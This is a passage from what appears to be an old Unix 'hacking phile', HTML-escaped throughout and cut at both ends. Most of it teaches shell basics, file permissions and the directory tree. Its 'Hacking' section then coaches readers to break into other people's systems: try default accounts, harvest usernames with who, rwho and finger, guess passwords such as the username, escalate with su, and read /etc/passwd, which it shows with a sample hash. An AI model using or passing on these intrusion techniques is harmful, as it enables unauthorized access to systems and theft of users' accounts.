do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo $counter&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; done&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; That would print out 1 then 2 then 3.&lt;br /&gt;&lt;br /&gt;Using TEST&lt;br /&gt;----------&lt;br /&gt;The format:&amp;nbsp; Test variable option variable&lt;br /&gt;&lt;br /&gt;The optios are:&lt;br /&gt;-eq&amp;nbsp;&amp;nbsp;&amp;nbsp; =&lt;br /&gt;-ne&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&amp;gt; (not equal)&lt;br /&gt;-gt&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&lt;br /&gt;-lt&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;br /&gt;-ge&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;=&lt;br /&gt;-le&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;=&lt;br /&gt;&lt;br /&gt;for strings its: = for equal&amp;nbsp; != for not equal.&lt;br /&gt;&lt;br /&gt;If the condition is true, a zero is returned.&amp;nbsp; Watch:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; test 3 -eq 3&lt;br /&gt;&lt;br /&gt;that would be test 3 = 3, and 0 would be returned.&lt;br /&gt;&lt;br /&gt;EXPR&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;This is for numeric functions.&amp;nbsp; You cannot simply type in&lt;br /&gt;echo 4 + 5&lt;br /&gt;and get an answer most of the time.&amp;nbsp; you must say:&lt;br /&gt;expr variable [or number] operator variable2 [or number]&lt;br /&gt;the operators are:&lt;br /&gt;&lt;br /&gt;+ add&lt;br /&gt;- subtract&lt;br /&gt;* multiply&lt;br /&gt;/ divide&lt;br /&gt;^ - power (on some systems)&lt;br /&gt;&lt;br /&gt;example :&amp;nbsp;&amp;nbsp; expr 4 + 5&lt;br /&gt;var = expr 4 + 5&lt;br /&gt;var would hold 9.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; On some systems, expr sometimes prints out a formula.&amp;nbsp; I mean,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 22+12 is not the same as 22 + 12.&amp;nbsp; If you said expr 22+12 you&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; would see:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 22+12&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you did expr 22 + 12 you&#39;d see:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 34&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SYSTEM VARIABLES&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; These are variables used by the shell, and are usually set in the&lt;br /&gt;system wide .profile [explained later].&lt;br /&gt;&lt;br /&gt;HOME - location of your home directory.&lt;br /&gt;PS1&amp;nbsp; - The prompt you are given.&amp;nbsp; usually $ .&amp;nbsp; On BSD its usually &amp;amp;&lt;br /&gt;PATH - This is the search path for programs.&amp;nbsp; When you type in a program&lt;br /&gt;to be run, it is not in memory; it must be loaded off disk.&amp;nbsp; Most commands&lt;br /&gt;are not in Memory like MSDOS.&amp;nbsp; If a program is on the search path, it may&lt;br /&gt;be executed no matter where you are.&amp;nbsp; If not, you must be in the directory&lt;br /&gt;where the program is.&amp;nbsp; A path is a set of directories basically, seperated by&lt;br /&gt;&quot;:&quot;&#39;s.&amp;nbsp; Here is a typical search path:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; :/bin:/etc:/usr/lbin:$HOME:&lt;br /&gt;&lt;br /&gt;When you tried to execute a program, Unix would look for it in /bin,&lt;br /&gt;/etc, /usr/lbin, and your home directory, and if its not found, an error is&lt;br /&gt;spewed out.&amp;nbsp; It searches directories in ORDER of the path.&amp;nbsp; SO if you had a&lt;br /&gt;program named &quot;sh&quot; in your home directory, and typed in &quot;sh&quot;, EVEN if&lt;br /&gt;you were in your home dir, it would execute the one in /bin. So, you&lt;br /&gt;must set your paths wisely.&amp;nbsp; Public access Unixes do this for you, but systems&lt;br /&gt;you may encounter may have no path set.&lt;br /&gt;&lt;br /&gt;TERM - This is your terminal type.&amp;nbsp; UNIX has a library of functions called&lt;br /&gt;&quot;CURSES&quot; which can take advantage of any terminal, provided the escape&lt;br /&gt;codes are found.&amp;nbsp; You must have your term set to something if you run&lt;br /&gt;screen oriented programs.&amp;nbsp; The escape codes/names of terms are found&lt;br /&gt;in a file called TERMCAP.&amp;nbsp; Don&#39;t worry about that.&amp;nbsp; just set your term&lt;br /&gt;to ansi or vt100.&amp;nbsp; CURSES will let you know if it cannot manipulate your&lt;br /&gt;terminal emulation.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;The C compiler&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This Will be BRIEF.&amp;nbsp; Why?&amp;nbsp; Becuase if you want to learn C, go&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buy a book.&amp;nbsp; I don&#39;t have time to write another text file on&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; C, for it would be huge.&amp;nbsp; Basically, most executables are programmed&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in C.&amp;nbsp; Source code files on unix are found as filename.c&amp;nbsp; .&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To compile one, type in &quot;cc filename.c&quot;.&amp;nbsp; Not all C programs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; will compile, since they may depend on other files not there, or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; are just modules.&amp;nbsp; If you see a think called &quot;makefile&quot; you can&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usually type in just &quot;make&quot; at the command prompt, and something&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; will be compiled, or be attempted to compile.&amp;nbsp; When using make or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CC, it would be wise to use the background operand since&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; compiling sometimes takes for ever.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IE:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cc login.c&amp;amp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [1234]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (The 1234 was the process # it got identified as).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;The FILE SYSTEM&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is an instrumental part of UNIX.&amp;nbsp; If you do not understand this&lt;br /&gt;section, you&#39;ll never get the hang of hacking Unix, since a lot of Pranks&lt;br /&gt;you can play, and things you can do to &quot;raise your access&quot; depend on it.&lt;br /&gt;&lt;br /&gt;First, Let&#39;s start out by talking about the directory structure.&amp;nbsp; It is&lt;br /&gt;basically a Hiearchy file system, meaning, it starts out at a root directory&lt;br /&gt;and expands, just as MSDOS, and possibly AmigaDos.&lt;br /&gt;&lt;br /&gt;Here is a Directory Tree of sorts:&amp;nbsp; (d) means directory&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /&amp;nbsp; (root dir)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |--------------------|&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; bin (d)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; usr (d)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----^--------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sirhack(d)&amp;nbsp; scythian (d)&amp;nbsp;&amp;nbsp;&amp;nbsp; prophet (d)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; src (d)&lt;br /&gt;&lt;br /&gt;Now, this particular system contains the following directories:&lt;br /&gt;/&lt;br /&gt;/bin&lt;br /&gt;/usr&lt;br /&gt;/usr/sirhack&lt;br /&gt;/usr/sirhack/src&lt;br /&gt;/usr/scythian&lt;br /&gt;/usr/prophet&lt;br /&gt;&lt;br /&gt;Hopefully, you understood that part, and you should.&amp;nbsp; Everything spawns from&lt;br /&gt;the root directory.&lt;br /&gt;&lt;br /&gt;o File Permissions!&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;Now, this is really the biggie.&amp;nbsp; File Permissions.&amp;nbsp; It is not that hard to&lt;br /&gt;understand file permissions, but I will explain them deeply anyway.&lt;br /&gt;&lt;br /&gt;OK, now you must think of user groups as well as user names.&amp;nbsp; Everyone&lt;br /&gt;belongs to a group.&amp;nbsp; at the $ prompt, you could type in &#39;id&#39; to see what&lt;br /&gt;group you are in.&amp;nbsp; Ok, groups are used to allow people access certain things,&lt;br /&gt;instead of just having one person controlling/having access to certain files.&lt;br /&gt;Remember also, that Unix looks at someone&#39;s UID to determine access, not&lt;br /&gt;user name.&lt;br /&gt;&lt;br /&gt;Ok.&amp;nbsp; File permissions are not really that complicated.&amp;nbsp; Each file has an owner&lt;br /&gt;This OWNER is usually the one who creates the file, either by copying a file&lt;br /&gt;or just by plain editing one.&amp;nbsp; The program CHOWN can be used to give someone&lt;br /&gt;ownership of a file.&amp;nbsp; Remember that the owner of a file must be the one who&lt;br /&gt;runs CHOWN, since he is the only one that can change the permissions of a file&lt;br /&gt;Also, there is a group owner, which is basically the group that you were in&lt;br /&gt;when the file was created.&amp;nbsp; You would use chgrp to change the group a file is&lt;br /&gt;in.&lt;br /&gt;&lt;br /&gt;Now, Files can have Execute permissions, read permissions, or write permission.&lt;br /&gt;If you have execute permission, you know that you can just type in the name&lt;br /&gt;of that program at the command line, and it will execute.&amp;nbsp; If you have read&lt;br /&gt;permission on a file, you can obviously read the file, or do anything that&lt;br /&gt;reads the file in, such as copying the file or cat[ing] it (Typing it).&lt;br /&gt;If you do NOT have access to read a file, you can&#39;t do anything that requires&lt;br /&gt;reading in the file.&amp;nbsp; This is the same respect with write permission.&amp;nbsp; Now,&lt;br /&gt;all the permissions are arranged into 3 groups.&amp;nbsp; The first is the owner&#39;s&lt;br /&gt;permissions.&amp;nbsp; He may have the permissions set for himself to read and execute&lt;br /&gt;the file, but not write to it.&amp;nbsp; This would keep him from deleting it.&lt;br /&gt;The second group is the group permissions.&amp;nbsp; Take an elongated directory&lt;br /&gt;for an example:&lt;br /&gt;&amp;nbsp;$ ls -l runme&lt;br /&gt;&amp;nbsp;r-xrwxr-- sirhack&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 10990 March 21&amp;nbsp; runme&lt;br /&gt;&lt;br /&gt;ok.&amp;nbsp; Now, &quot;root&quot; is the groupname this file is in.&amp;nbsp; &quot;sirhack&quot; is the owner.&lt;br /&gt;Now, if the group named &#39;root&#39; has access to read, write and execute, they&lt;br /&gt;could do just that.&amp;nbsp; Say .. Scythian came across the file, and was in the root&lt;br /&gt;user group.&amp;nbsp; He could read write or execute the file.&amp;nbsp; Now, say datawiz came&lt;br /&gt;across it, but was in the &quot;users&quot; group.&amp;nbsp; The group permissions would not&lt;br /&gt;apply to him, meaning he would have no permissions, so he couldn&#39;t touch&lt;br /&gt;the file, right?&amp;nbsp; Sorta.&amp;nbsp; There is a third group of permissions, and this is&lt;br /&gt;the &quot;other&quot; group.&amp;nbsp; This means that the permissions in the &quot;other&quot; group&lt;br /&gt;apply to everyone but the owner, and the users in the same group as the file.&lt;br /&gt;Look at the directory entry above.&amp;nbsp; the r-x-rwxr-- is the permissions line.&lt;br /&gt;The first three characters are the permissions for the owner (r-x).&amp;nbsp; The&lt;br /&gt;&quot;r-x&quot; translates to &quot;Read and execute permissions, but no write permissions&quot;&lt;br /&gt;the second set of three, r-xRWXr-- (the ones in capital letters) are the group&lt;br /&gt;permissions.&amp;nbsp; Those three characters mean &quot;Read, write, and execution allowed&quot;&lt;br /&gt;The 3rd set, r-xrwxR-- is the permissions for everyone else.&amp;nbsp; It means&lt;br /&gt;&quot;Reading allowed, but nothing else&quot;.&amp;nbsp; A directory would look something like&lt;br /&gt;this:&lt;br /&gt;&amp;nbsp;$ ls -l&lt;br /&gt;&amp;nbsp;drwxr-xr-x sirhack&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root&amp;nbsp; 342 March 11&amp;nbsp; src&lt;br /&gt;&lt;br /&gt;A directory has a &quot;d&quot; at the beggining of the permissions line.&amp;nbsp; Now, the&lt;br /&gt;owner of the directory (sirhack) can read from the directory, write in the&lt;br /&gt;directory, and execute programs from the directory.&amp;nbsp; The root group and every-&lt;br /&gt;one else can only read from the directory, and execute off the directory.&lt;br /&gt;So, If I changed the directory to be executable only, this is&lt;br /&gt;what it would look like:&lt;br /&gt;&amp;nbsp;$ chmod go-r&lt;br /&gt;&amp;nbsp;$ ls&lt;br /&gt;&amp;nbsp;drwx--x--x sirhack&amp;nbsp;&amp;nbsp; root&amp;nbsp; 342&amp;nbsp; March 11&amp;nbsp; src&lt;br /&gt;&lt;br /&gt;Now, if someone went into the directory besides &quot;sirhack&quot;, they could only&lt;br /&gt;execute programs in the directory.&amp;nbsp; If they did an &quot;ls&quot; to get a directory&lt;br /&gt;of src, when they were inside src, it would say &quot;cannot read directory&quot;.&lt;br /&gt;If there is a file that is readable in the directory, but the directory is&lt;br /&gt;not readable, it is sometimes possible to read the file anyway.&lt;br /&gt;&lt;br /&gt;If you do not have execute permissions in a directory, you won&#39;t be able to&lt;br /&gt;execute anything in the directory, most of the time.&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;Hacking:&lt;br /&gt;--------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The first step in hacking a UNIX is to get into the operating system&lt;br /&gt;by finding a valid account/password.&amp;nbsp; The object of hacking is usually to&lt;br /&gt;get root (full privileges), so if you&#39;re lucky enough to get in as root,&lt;br /&gt;you need not read anymore of this hacking phile , and get into the&lt;br /&gt;&quot;Having Fun&quot; Section.&amp;nbsp; Hacking can also be just to get other&#39;s accounts also.&lt;br /&gt;&lt;br /&gt;Getting IN&lt;br /&gt;----------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The first thing to do is to GET IN to the Unix.&amp;nbsp; I mean, get past&lt;br /&gt;the login prompt.&amp;nbsp; That is the very first thing.&amp;nbsp; When you come across a UNIX,&lt;br /&gt;sometimes it will identify itself by saying something like,&lt;br /&gt;&quot;Young INC. Company UNIX&quot;&lt;br /&gt;&lt;br /&gt;or Just&lt;br /&gt;&quot;Young Inc.&amp;nbsp; Please login&quot;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here is where you try the defaults I listed.&amp;nbsp; If you get in with those&lt;br /&gt;you can get into the more advanced hacking (getting root). If you do something&lt;br /&gt;wrong at login, you&#39;ll get the message&lt;br /&gt;&quot;login incorrect&quot;&lt;br /&gt;This was meant to confuse hackers, or keep the wondering.&amp;nbsp; Why?&lt;br /&gt;Well, you don&#39;t know if you&#39;ve enterred an account that does not exist, or one&lt;br /&gt;that does exist, and got the wrong password.&amp;nbsp; If you login as root and it says&lt;br /&gt;&quot;Not on Console&quot;, you have a problem.&amp;nbsp; You have to login as someone else,&lt;br /&gt;and use SU to become root.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Now, this is where you have to think.&amp;nbsp; If you cannot get in with a&lt;br /&gt;default, you are obviously going to have to find something else to&lt;br /&gt;login as.&amp;nbsp; Some systems provide a good way to do this by allowing the use&lt;br /&gt;of command logins.&amp;nbsp; These are ones which simply execute a command, then&lt;br /&gt;logoff.&amp;nbsp; However, the commands they execute are usually useful.&amp;nbsp; For instance&lt;br /&gt;there are three common command logins that tell you who is online at the&lt;br /&gt;present time.&amp;nbsp; They are:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; who&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rwho&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finger&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If you ever successfully get one of these to work, you can write down&lt;br /&gt;the usernames of those online, and try to logon as them.&amp;nbsp; Lots of unsuspecting&lt;br /&gt;users use there login name as their password.&amp;nbsp; For instance, the user&lt;br /&gt;&quot;bob&quot; may have a password named &quot;bob&quot; or &quot;bob1&quot;.&amp;nbsp;&amp;nbsp; This, as you know, is&lt;br /&gt;not smart, but they don&#39;t expect a hacking spree to be carried out on&lt;br /&gt;them.&amp;nbsp; They merely want to be able to login fast.&lt;br /&gt;&amp;nbsp;&amp;nbsp; If a command login does not exist, or is not useful at all, you will&lt;br /&gt;have to brainstorm.&amp;nbsp; A good thing to try is to use the name of the unix&lt;br /&gt;that it is identified as.&amp;nbsp; For instance, Young INC&#39;s Unix may have an account&lt;br /&gt;named &quot;young&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Young, INC.&amp;nbsp; Please Login.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; login: young&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UNIX SYSTEM V REL 3.2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (c)1984 AT&amp;amp;T..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ..&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; Some unixes have an account open named &quot;test&quot;.&amp;nbsp; This is also a default,&lt;br /&gt;but surprisingly enough, it is sometimes left open.&amp;nbsp; It is good to try to&lt;br /&gt;use it.&amp;nbsp; Remember, brainstorming is the key to a unix that has no apparent&lt;br /&gt;defaults open.&amp;nbsp; Think of things that may go along with the Unix.&amp;nbsp; type&lt;br /&gt;in stuff like &quot;info&quot;, &quot;password&quot;, &quot;dial&quot;, &quot;bbs&quot; and other things that&lt;br /&gt;may pertain to the system.&amp;nbsp; &quot;att&quot; is present on some machines also.&lt;br /&gt;&lt;br /&gt;ONCE INSIDE -- SPECIAL FILES&lt;br /&gt;----------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; There are several files that are very important to the UNIX&lt;br /&gt;environment.&amp;nbsp; They are as follows:&lt;br /&gt;&lt;br /&gt;/etc/passwd&amp;nbsp; - This is probably the most important file on a Unix.&amp;nbsp; Why?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; well, basically, it holds the valid usernames/passwords.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This is important since only those listed in the passwd&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file can login, and even then some can&#39;t (will explain).&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The format for the passwordfile is this:&lt;br /&gt;&lt;br /&gt;username:password:UserID:GroupID:description(or real name):homedir:shell&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Here are two sample entries:&lt;br /&gt;&lt;br /&gt;sirhack:89fGc%^7&amp;amp;a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh&lt;br /&gt;demo::101:100:Test Account:/usr/demo:/usr/sh&lt;br /&gt;&lt;br 